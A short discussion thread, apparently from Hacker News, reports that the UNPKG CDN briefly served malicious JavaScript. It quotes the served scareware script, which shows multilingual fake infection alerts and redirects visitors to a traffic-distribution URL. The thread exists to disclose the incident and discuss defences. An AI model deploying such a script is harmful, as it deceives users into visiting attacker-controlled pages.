
UNPKG CDN Serving Malware - hDeraj
https://unpkg.com/
======
hDeraj
Here's the served JS for reference:

    
    
          var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
        if (lang) lang = lang.substring(0, 2);
        console.log('lang: ' + lang);
    
        var country = 'US';
    
        var msg = 'Your computer is infected. You have to check it with antivirus.';
    
        if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
        if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
        if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
        if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
        if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
        if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
        if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";
    
        if (confirm(msg)) {
            window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertyes' + country + lang;
        } else {
            window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertno' + country + lang;
        }

~~~
hDeraj
And their whois registration was updated today...

------
andrethegiant
They've acknowledged the issue:
[https://twitter.com/unpkg/status/852655106562564098](https://twitter.com/unpkg/status/852655106562564098)

Edit: This is why subresource integrity is important!
[https://hacks.mozilla.org/2015/09/subresource-integrity-
in-f...](https://hacks.mozilla.org/2015/09/subresource-integrity-in-
firefox-43/)

